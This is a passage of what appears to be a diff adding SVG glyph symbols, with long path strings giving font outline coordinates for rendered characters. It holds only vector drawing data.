-0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
